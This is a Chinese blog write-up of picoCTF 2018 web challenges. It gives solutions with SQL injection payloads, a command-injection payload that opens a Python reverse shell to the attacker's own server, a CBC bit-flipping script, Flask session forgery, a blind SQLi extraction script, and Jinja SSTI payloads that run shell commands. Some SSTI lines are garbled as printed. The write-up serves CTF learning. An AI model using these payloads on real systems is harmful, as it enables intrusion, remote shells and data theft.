shifeng

picoCTF2018 web wp
空了好几个月终于有时间刷题了,这里先拿picoCTF来暖下手(虽然说是给高中生的,不过还是学了一波SSTI)P.S...
扫描右侧二维码阅读全文
25
2019/03

picoCTF2018 web wp

空了好几个月终于有时间刷题了,这里先拿picoCTF来暖下手(虽然说是给高中生的,不过还是学了一波SSTI)

P.S. 那几道SSTI的题不知道的payload为什么更新时会报错就加了空格,怕是hexo自己调用了orz。反正有空格删掉就好

Inspect Me

F12看到注释里提示了学了html和css、js,那就去这些文件里找flag

Logon

先随便尝试个用户名和密码输入,发现登陆成功但没有权限

于是用抓包登录,发现重定向到flag页面,同时设置了个admin变量在cookie

于是修改为true发送到flag页面得flag

Irish Name Repo

打开找到admin登录界面

尝试万能密码登录成功

payload: username=admin&password=1'or '1'='1

Mr. Robots

打开robots.txt即可

Client Side is Still Bad

F12找到一串js里组合就有flag

function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
        if (checkpass.substring(split*6, split*7) == '17e9') {
            if (checkpass.substring(split*5, split*6) == 'd_91') {
                if (checkpass.substring(split*4, split*5) == 's_ba') {
                    if (checkpass.substring(split*3, split*4) == 'nt_i') {
                        if (checkpass.substring(split*2, split*3) == 'clie') {
                            if (checkpass.substring(split, split*2) == 'CTF{') {
                                if (checkpass.substring(0,split) == 'pico') {
                                    alert("You got the flag!")
                                }
                            }
                        }
                    }
                }
            }
        }
    }else {
        alert("Incorrect password");
    }
}

No Login

进去点flag就有了??? 然后弄了一下又没了???
大概这才是常规吧,登陆和登出页面都用不了,就抓包看看。
发现有个session变量,试着base64解密发现不行

搞了好久才知道是jwt加密,用于json安全的加密,去官网能直接解密【那还有啥用???

和之前题一样,在cookie加个admin=1就行

Secret Agent

点flag说我不是google,然后给出来我的user-agent。于是就试chrome发现不行,referer修改也不行。最后用谷歌爬虫 googlebot 作为user-agent才ok

Buttons

两个按钮,一个是表单一个是链接,把链接修改成表单就好

The Vault

给了源码

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();
    
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }
  
?>

读一下过滤了xxx'xxxorxxx 这种字符串,就不允许万能密码。
不过这题解法挺多的,提供一种
payload:

`username=a' /*&password=*/or 1=1 limit 1 or '`

Artisinal Handcrafted HTTP 3

好像服务器炸了

Flaskcards

不知道有flask这个框架让我搞了好久,flask是个python的框架,于是找找SSTI漏洞

尝试在url上添加 {{1+1}} 并未报错
注册 {{1+1}} 账号并登录后也没变
最后在create card处将question和answer设为 {{1+1}}
查看list card时发现都成了2,说明可以注入。

于是尝试 { { config.item() } } ,成功在secretkey找到flag

fancy-alive-monitoring

进去后可以看到有源码

<html>
<head>
    <title>Monitoring Tool</title>
    <script>
    function check(){
        ip = document.getElementById("ip").value;
        chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
        if (!chk) {
            alert("Wrong IP format.");
            return false;
        } else {
            document.getElementById("monitor").submit();
        }
    }
    </script>
</head>
<body>
    <h1>Monitoring Tool ver 0.1</h1>
    <form id="monitor" action="index.php" method="post" onsubmit="return false;">
    <p> Input IP address of the target host
    <input id="ip" name="ip" type="text">
    </p>
    <input type="button" value="Go!" onclick="check()">
    </form>
    <hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
    // super fancy regex check!
    if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
        exec('ping -c 1 '.$ip, $cmd_result);
        foreach($cmd_result as $str){
            if (strpos($str, '100% packet loss') !== false){
                printf("<h3>Target is NOT alive.</h3>");
                break;
            } else if (strpos($str, ', 0% packet loss') !== false){
                printf("<h3>Target is alive.</h3>");
                break;
            }
        }
    } else {
        echo "Wrong IP Format.";
    }
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

js部分的过滤直接无视,然后读php部分的
就要求前面的是一个ip,不过没有$结尾于是可以往后面继续加命令

payload:
ip=0.0.0.0;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_vps_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹shell后

读取找到flag

Secure Logon

先登进去看看,提示了cookie

应该是要把admin的只弄为1就行

然后读一下源码,是CBC加密,应该又是一道CBC翻转的题

from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))

    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp

@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp

@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
    app.run()

抓包拿cookie,然后写脚本

# -*- coding:utf8 -*-  
import time
import base64
from hashlib import md5
from Crypto.Cipher import AES
import requests

cookie = "ljuA5nPE+JMCA38qG+4L4eJXBzTKNeUFEnDCczMdmk/1E30y7aHzVco36XWTwgA01dZOW+emMzr1Rtgzd3uGtqXNE+Zuh/WmBqkn1BZ6lnI="
v = base64.b64decode(cookie)
raw = v[0:16]
url = r'http://2018shell.picoctf.com:13747/flag'
for i in range(len(raw)):
    print i
    admin = ord(raw[i])^ord("0")^ord("1")
    new_raw = raw[:i]+chr(admin)+raw[i+1:]
    new_cookie = base64.b64encode(new_raw+v[16:])
    print new_cookie
    cookie_new = {'cookie': new_cookie}
    http = requests.get(url,cookies=cookie_new)
    print http.content
    time.sleep(3)

这里不是很确定要改的位置在哪,于是先尝试把第一份加密的给翻转看看

在第十一个字符处得到flag

Flaskcards Skeleton Key

又是一个flask的题,提示了Secret_Key

查一下得知时用来加密session用的密钥,具体的加密方式可以看这:从HCTF两道Web题谈谈flask客户端session机制

不太会用flask这个模块于是找了大佬的脚本来用 flask-session-cookie-manager

python3 session_cookie_manager.py decode -c ".eJwlj1GqAjEMAO_Sbz-atGkSL7M0TYIiKOzq1-Pd3QUPMMPMX9lyj-NWru_9E5ey3b1cSwS2yUzedJpVpFiuntO8gvtIbaKGmD2qqLYAFSTN1cdMkJlZbWgScDAZCUwZjQWNI8OwgVNmiFEd0mRlr97ZgDiqcQfDcinr2HN7vx7xPHt8xJAEOKE2ZmPva6FqX-SzYx2--FSzn9zniP030cv_FzvlQBQ.D0GgCg.VBqx4_6AB25d4XZCiBbQD5xnXLM" -s "a7a8342f9b41fcb062b13dd1167785f8"
{'_fresh': True, '_id': 'ee23a775d39abb025ecd9dfabd01dd6f9389b22f4e08993e198259fc46af18aff0b69f517e75b581a863782b7efeb231d5ffe8b506838cf40d47b157e0b741b2', 'csrf_token': 'd6e68f11fe836a37d4cc2994c5da4206dc77ef7d', 'user_id': '4'} 

解密后没有admin值,但有个user_id是一个数字,猜测是用户注册的顺序,于是修改成1加密

python3 session_cookie_manager.py encode -t "{'_fresh': True, '_id': 'ee23a775d39abb025ecd9dfabd01dd6f9389b22f4e08993e198259fc46af18aff0b69f517e75b581a863782b7efeb231d5ffe8b506838cf40d47b157e0b741b2', 'csrf_token': 'd6e68f11fe836a37d4cc2994c5da4206dc77ef7d', 'user_id': '1'}" -s "a7a8342f9b41fcb062b13dd1167785f8"
.eJwlj1GqAjEMAO_Sbz-atGkSL7M0TYIiKOzq1-Pd3QUPMMPMX9lyj-NWru_9E5ey3b1cSwS2yUzedJpVpFiuntO8gvtIbaKGmD2qqLYAFSTN1cdMkJlZbWgScDAZCUwZjQWNI8OwgVNmiFEd0mRlr97ZgDiqcQfDcinr2HN7vx7xPHt8xJAEOKE2ZmPva6FqX-SzYx2--FSzn9zniP03AeX_CzvcQBE.XGAXyw.ytvd2GBqnDENvL2XOXWVQGZOC6c

提交,然后访问admin成功得到flag

Help Me Reset 2

点进去有修改密码页面以为是要二次注入,然而没发现注册页面
然后修改页面尝试了一堆用户名都不行,尝试各种注入不行

最后回到主页F12发现一段注释着网站维护者,于是尝试一下成功进入到问题界面

答案当然是不可能猜到的,抓个包看看发现和上题一样的加密,解密一下得到问题的答案

python3 session_cookie_manager.py decode -c ".eJw9jlEKg0AMRK8i-d4PsdCKV-gRWpG4Rl26bkp2VYp492Yp9CcThpeZHGBXEQoJGrDsWcDAm2N0vSdoHmBRFnyRujMJq4zMg8qPbQ2Im-bUWV5zRGlgjSTdgAmhOaBIOWMURyEfVXV9qcpbfS3BKPoh73lX3wmHYsGg692hTs99TJR_GXBz8RmgPQ3sik3_qvMLPSc8FQ.D0Gy1Q.g9xPDX5IEC_3C2cGc7gvL3gzZ_U"
b'{"current":"color","possible":["carmake","hero","food","color"],"right_count":0,"user_data":{" t":["friend","2883207860",0,"yellow","iron man","Kia","lobster","davis\\n"]},"wrong_count":0}'

当然顺序是不对的,认真分析一下然后成功修改密码登录得flag

A Simple Question

F12后可以找到源码,读源码是个没有任何过滤的查询

<?php
      include "config.php";
      ini_set('error_reporting', E_ALL);
      ini_set('display_errors', 'On');

      $answer = $_POST["answer"];
      $debug = $_POST["debug"];
      $query = "SELECT * FROM answers WHERE answer='$answer'";
      echo "<pre"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo ""; 
?> 
<?php
      $con = new SQLite3($database_file);
      $result = $con->query($query); 
      $row = $result->fetchArray(); 
      if($answer == $CANARY) { 
          echo "Perfect!"; 
          echo "Your flag is: $FLAG"; 
      } elseif ($row) { 
          echo "You are so close."; 
      } else { 
          echo "Wrong."; 
      } 
?> 

CANARY这个变量估计在config.php里,访问config.php没东西,于是尝试sql注入

可能是SQLite这个数据库没有database()这个函数,不过还好源码给了表名和列名,于是试试看盲注查这个列里的值
然而这个数据库里ascii()也没有,不过hex()有,然后写脚本发现总是出错。在浏览器那试了一下发现对比的hex()里要是字符,数字全会为wrong,明明本地的数据库可以直接数字对比的orz(就是要hex('4'),不能hex(4))。那就不能二分查了,只能一个个顺序查

上脚本

# -*- coding:utf8 -*-  
import requests
import re
import time

url = r'http://2018shell.picoctf.com:2644/answer2.php'



for i in range(10):

    l1 = 0
    r1 = 100
    l2 = 0
    r2 = 99

    while(l1<=r1):
        mid1 = (l1 + r1)/2    
        payload = "-1' or (select length(answer) from answers limit "+str(i)+",1)="+str(mid1)+" or '"
        print payload
        data = {'answer': payload,'debug': 0}
        try:
            http = requests.post(url,data=data,timeout=5)
        except requests.exceptions.Timeout:
            for p in range(1, 10):
                print "p"+str(p)
                try:
                    http = requests.post(url,data=data,timeout=5)
                    time.sleep(5)
                except requests.exceptions.Timeout:
                            pass
                if http.content:
                            break
        time.sleep(1)
        content = http.content
        plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
        if(plain == "You are so close."):
            break
        else:
            payload = "-1' or (select length(answer) from answers limit "+str(i)+",1)>"+str(mid1)+" or '"
            print payload
            data = {'answer': payload,'debug': 0}
            try:
                http = requests.post(url,data=data,timeout=5)
            except requests.exceptions.Timeout:
                for p in range(1, 10):
                    print "p"+str(p)
                    http = requests.post(url,data=data,timeout=5)
                    time.sleep(5)
            time.sleep(1)
            content = http.content
            plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
            if plain == "You are so close.":
                l1 = mid1 + 1
            else:
                r1 = mid1 - 1

    if mid1==0:
        break
    print 
    print str(i)+":"+str(mid1)
    k = ''

    for j in range(mid1):
        for q in range(33,127):
            if (q>=48 and q<=57) or (q>=65 and q<=90) or (q>=97 and q<=122):
                payload = "-1' or substr((select answer from answers limit "+str(i)+",1),"+str(j+1)+",1)='"+chr(q)+"' or '"
                print payload
                data = {'answer': payload,'debug': 0}
                try:
                    http = requests.post(url,data=data,timeout=5)
                except requests.exceptions.Timeout:
                    for p in range(1, 10):
                        print "p"+str(p)
                        try:
                            http = requests.post(url,data=data,timeout=5)
                            time.sleep(5)
                        except requests.exceptions.Timeout:
                            pass
                        if http.content:
                            break
                time.sleep(1)
                content = http.content
                plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
                if plain == "You are so close.":
                    break

        print
        k = k+chr(q)
        print k

    print

写得有点渣orz

payload:
-1' or (select length(answer) from answers limit 0,1)>0 or '
-1' or substr((select answer from answers limit 0,1),1,1)='4' or '

跑出就一个值41AndSixSixths,填入得flag

LambDash 3

好像炸了

Flaskcards and Freedom

本来以为不能SSTI了,但试了一下可以,不过这次 { { config.item() } } 就不能得到flag

于是继续注入

{{''.__class__.__mro__}} 得到 (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[-1]}} 得到 <class 'object'>
{ { ''.__class__.__mro__[-1].__subclasses__() } } 得到一大堆继承类

然后查一下能有os模块的类,然而没找到。不过除了os,我们还可以找sys模块的(因为sys中有os)。然后可以用popen()来执行命令,read()来读取结果

我找到一个位置在591的类,于是

{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('ls').read() } } 得到 app flag server.py xinet_startup.sh

最后读取flag文件得flag

payload:
{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('cat flag').read() } }

最后修改:2019 年 03 月 25 日 06 : 56 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论